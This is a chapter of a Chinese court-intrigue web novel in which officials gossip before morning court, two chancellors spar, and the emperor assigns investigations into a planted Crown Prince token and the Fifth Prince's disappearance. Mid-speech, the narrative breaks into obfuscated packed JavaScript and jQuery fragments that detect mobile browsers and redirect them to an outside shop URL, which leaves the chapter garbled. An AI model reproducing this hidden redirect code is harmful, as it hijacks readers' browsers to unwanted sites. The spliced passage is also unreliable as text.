31. 祸起东墙
作品:《向女主献上断袖》 寅时一刻,宫门大开。
含元殿外的天色刚泛出一抹鱼肚白,走在队列末尾的官员们稀稀拉拉,其中一人抬手拢了拢衣袖,悄悄掩去嘴角的哈欠,眼底还凝着未散的困意。
今日是雍荣帝病愈后的第一日早朝,摸鱼三天,官员已经忘记了三日前发生了什么。
隐约记得是王……侍郎?前几日早朝,他当庭状告五皇子,言语激烈间,竟将陛下气晕了过去。
官员迷迷糊糊地跟在同僚身后,伸手拽了拽对方的衣袖,声音里还带着惺忪睡意:“李兄,前日早朝究竟发生了什么?你还记得不?”
被拽住袖子的同僚姓林,闻言眉头一皱,林官员瞪他,语气里带着几分鄙夷:“余兄,老夫姓林,非李!”
余官员一愣,眼里的那丝困意瞬间烟消云散,他脸上忙堆起笑,连连致歉:“哦、哦哦!是林兄,是林兄!哈哈哈……瞧我这记性,起得太早,脑子还没醒透呢。”
林官员没好气的将袖子从他手中抽回,暗中翻了个隐蔽的白眼,但见同僚实在尴尬,他也只能给对方递台阶:“前日早朝,王朗坤当庭状告五皇子在京中招兵买马,暗中涉足盐政不说,事发后还敢杀人灭口,本以为他有什么铁证如山,谁曾想,他最后竟从袖中掏出一枚东宫令牌……”
说到此处,林官员又往余官员身边凑了凑,抬了抬下巴,隐晦地朝皇帝居住的方向努了努嘴,声音压得更低:“把那位给气晕了!”
余官员睁圆了眼,像只终于把瓜吃明白的猹,他倒吸一口凉气:“嚯!这王侍郎的胆子,也太大了些!”
林官员彻底对他无语,他盯了对方半晌,怎么也没想明白这姓余的究竟是怎么混到这个位置来的,竟然对官场之事如此迟钝白目!
“林兄,那这位王侍郎之后……”余官员拉着林官员还想再问,但就在两人说话的间隙,一道阴冷的声音骤然从身后传来,带着几分不容置喙的压迫感。
“林大人、余大人,这么早就开始交流朝事,真是勤勉啊。本官来得晚,不知错过了什么精彩?”
林、余二人顿时如被踩了尾巴的猫,瞬间噤声。
林官员心头咯噔一下,这声音听起来……怎么像是吴宣舟这老匹夫!
他硬着头皮转过身,真见到来人时心里大呼“要亡!”,但面上他却对着吴宣舟拱手行礼,:“哈、哈,吴大人,早、早啊。”
吴宣舟站在两人身后,是个明眼人都能瞧出来他今日心情不好,他对上林官员的目光,笑道:“林大人,此刻宫门已开,早朝将至,时辰可不早了。”
场面瞬间陷入死寂的尴尬,周围原本三三两两的官员,几乎在吴宣舟开口的刹那,便悄无声息地往后退了几步,三人站立的地方,竟瞬间形成了一片诡异的真空地带。
唯有姓余的官员全然没察觉周遭的暗流,还笑着拱手:“早啊吴大人,我们方才正谈论王侍郎那事儿,您说他那东宫令牌到底是哪儿来的……唔唔!”
林官员只觉得头上的汗都要淌到地上去了,他头皮阵阵发麻,不及多想便伸手死死捂住了这傻子的嘴。
他抬眼对上吴宣舟似笑非笑的目光,心头一沉。
这朝中两位丞相,如果非要得罪一位……林官员宁愿今日得罪的是裴相啊!得罪裴相他最多只会在明面上给你难堪,但要是得罪了吴相……
这位是真的会在背后下阴手的小人啊!
就在这凝滞的气氛几乎要将人吞噬之际,一道低哑的声音忽然插了进来。
裴疏踏步上前:“吴大人,今日怎得这般有雅兴,竟与同僚在此闲谈打趣?”
她面带浅淡笑意迎了上来,目光缓缓扫过三人,不过寥寥一语,周遭紧绷的气氛便骤然松散下来。
林官员看向裴疏的目光,俨然如见救星,眼底满是感激。
在场四人中,唯有余官员依旧满头雾水,被捂住的嘴还在含糊地吱呀作响,满脸不解。
吴宣舟本就不快的心情在见到裴疏后更是不愉,他见裴疏执意要淌这滩浑水,顿时冷笑一声:“本官看裴大人今日心情倒是颇佳,昨夜竟还能安睡,未曾噩梦缠身?”
“吴大人说笑了。”裴疏眼底似笑非笑,面上端的一副凛然模样:“本官行得正,坐得端,心底无亏,自然日日好眠,不像吴大人……”
她轻笑一声,只用余光扫过吴宣舟,随后叹了口气,向前走去。
吴宣舟的火气瞬间被裴疏引了过去,竟一时忘了刁难身侧的两个小官,他快步跟了上去,语气里的讥讽更甚:“呵!本官瞧裴大人倒是印堂发黑,恐怕不日便有冤鬼缠身!更何况……”
他顿了顿,冷笑出声:“林言之已死,护卫不力尚是小事,那桩双生旧案,陛下未必会这般轻拿轻放。”
他这话几乎是明着面打裴疏耳光。
裴疏闻言脚步一顿,她抬眼看向吴宣舟,反唇相讥:“哦?吴大人有这般看相断命的本事,不去街头摆个摊子……”说到这里她嗤笑一声:“不对,是裴某这话说的偏颇了,就您这三流技巧,还是不去为好,免得诓骗无辜百姓呐。”
“裴君慈!”吴宣舟恨极,怒斥。
裴疏完全不怕他,她微顿,话锋一转,语气又添了几分戏谑:“哦,对了,裴某耳目尚算聪慧,昨日竟听闻吴大人府中夫人病重,卧床不起?”
裴疏缓缓将手插进宽大的袖中,看着吴宣舟一张被怒意染得薄红的脸,好意提醒:“吴大人您素来轻贱女子,裴某心善,在这里劝您一句,您府中那位病重的夫人,毕竟是皇家血脉……这世上有些船,翻了,可就再也扶不起来了。”
吴宣舟被她这番夹枪带棒的讥讽噎得面色铁青,胸口剧烈起伏,却一时语塞,无从反驳。
站在远处的官员听不清二人低声交谈的具体内容,可瞧着吴宣舟那铁青的面色,再看二人之间剑拔弩张的架势,这一次,再也没人敢觉得,这两位大人关系亲厚了。
“裴大人。”
一声轻唤自前方传来,堪堪掐断了两人间一触即发的戾气。
裴疏抬眸,见来人是雍荣帝身侧侍奉的安公公,他躬着身快步而来,拂尘搭在臂弯,脸上是惯常的恭谨。
“安公公。”裴疏面上含笑,眼底的讥讽收了个干净,端的一副温和有礼的模样。
安公公回了一个笑,轻声提醒:“陛下已在路上,各位大人请回位吧。”
吴宣舟脸色铁青,狠狠瞪了裴疏一眼,袖中手指攥得泛白,终究是不敢在宫道上继续放肆。
他甩下一声冷哼,率先往前去。
裴疏也不跟他计较,她理了理袖摆,抬步前行,路过僵在原地的林、余二人时,只淡淡一瞥。
林官员如蒙大赦,后背早已被冷汗浸透,忙拉着仍在状况外的余官员躬身谢礼。
裴疏未曾多言,只微微颔首,步履从容踏入含元殿。
殿内香烟袅袅,文武百官早已分列两侧,连呼吸都放得极轻。
龙椅之上,雍荣帝斜倚着软垫,病容未消,面色苍白。
他目光扫过殿下,声线平淡:“今日早朝,免繁礼。”
百官躬身山呼万岁,声齐如鼓。
“太子何在?”珠帘隔住雍荣帝的脸色,他开口唤道。
闻延卿今日早于裴疏等人率先入殿,他站在御座左前方,闻言躬身:“儿臣在。”
雍荣帝抬眸,目光扫过殿下,最终定格在太子低垂的发顶,缓声开口:“三日前,王朗坤当庭状告五皇子,牵涉盐政、私藏兵马,更掏出东宫令牌,致使朕龙颜震怒,卧病三日。”
他顿了顿,语气添了几分凌厉:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175981|194949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那枚东宫令牌,关乎储君威严,关乎朝堂纲纪,绝非小事,朕料定,此事绝非表面那般简单,必有奸人暗中栽赃,搅乱朝局。”
话音落,满殿皆惊。
百官暗自心惊,谁也没想到,陛下罢朝三日后回来的第一件事就开口便直指东宫令牌,听这话里的意思……竟还要深究到底。
吴宣舟的眉心微微一跳,但面上却毫无变化。
雍荣帝看向太子,语气放缓了几分,却依旧带着不容置喙的指令:“今日起,东宫令牌栽赃一案,调查权全权交予你。朕给你十日限期,务必查清令牌的真实来源,识破背后奸人的诡计,找出栽赃之人,独立给出调查结果,不得有半分含糊。”
皇帝的语气在‘独立’两个字上尤为加重。
珠帘微动,看不清皇帝的神色,但那双眼睛……
闻延卿隐约觉得,那双眼睛正越过自己,落在了身后的某处。
闻延卿垂眸,躬身:“儿臣遵旨。十日之内,必查清此案,揪出栽赃奸人,给父皇、给东宫、给满朝文武一个交代,绝不辜负父皇所托。”
眼见太子领旨退下,雍荣帝的目光中却不见有几分欣慰。
他喉间溢出几声闷咳,脸色更加苍白。
“裴卿。”
“臣在。”
雍荣帝垂眸,低声:“你身为右相,素来精明干练,理政有方,这些年为朝堂操劳甚多,朕看在眼里,记在心里。
“近日朝堂不宁,林府一案真相未明,天子脚下竟有歹人于深夜放马驿站,借故杀人灭口,林府次子惨遭杀害,尸骨未寒,朕思来想去,这偌大朝中竟无一人再比你可信。”
说到这里,雍荣帝顿了顿,语气越发恳切:“如今朝堂之中,唯有你能担此重任,既能稳定朝局,又能彻查此案真相。”
裴疏眼皮顿跳。
雍荣帝这话说的漂亮,看上去好像对她多么器重似得,实则句句话都把她放在火上烤。
但雍荣帝的器重并未就此打住:“而除了林府一案,朕私下更有一事难平。”
雍荣帝叹息,裴疏识相的弯腰接话:“陛下请说,臣身为大雍一份子,自当为您鞠躬尽瘁。”
“朕之五子于日前被朕外派办事,然,几日之前,五子车队偶遇山洪,七日已过,山道已清,吾儿竟……不知所踪。”
话到此处,雍荣帝语调悲敛,珠帘下他单手扶额,似乎陷入了丧子之痛。
龙椅之下,气氛在这瞬间凝固,五皇子一党骤然抬头,目光如剑一般钉向了站在人群最前方的太子与裴疏。
随后满殿哗然。
五皇子失踪一旦确认,那这龙椅……
殿下议论声顿起,不少人的目光瞟向了高位之下的太子殿下。
能站在金殿里的官员几乎没有傻子,但凡事总有意外。
余官员瞪大眼睛,悄悄拽林官员的袖子:“林兄,五殿下失踪了?!这、这比王侍郎那事儿还大啊!”
林官员额角渗出冷汗,压低声音:“闭嘴。”
余官员茫然:“啊?为啥闭嘴?”
林官员:“……你再不闭嘴,咱俩今天就一起闭嘴。”
珠帘之下,雍荣帝扶额微笑,耳边传来殿内细微的议论之声,他放下了鱼饵,自然不会在意鱼塘里的动静。
唯有早已知情的吴宣舟脸色苍白。
他骤然抬眸凝视龙椅。
闻扶辰失踪已是多日之前的讯息,这位陛下如今将此事公然于众……
袖中的手指微微收紧,指甲掐进掌心。
吴宣舟心下一沉。
他跟珠帘下的雍荣帝对视,遍体生寒,他明白,五皇子这颗棋子,皇帝是当真要弃了。
而他吴宣舟,已经和这颗弃子绑得太深,深到拆不开、割不断。

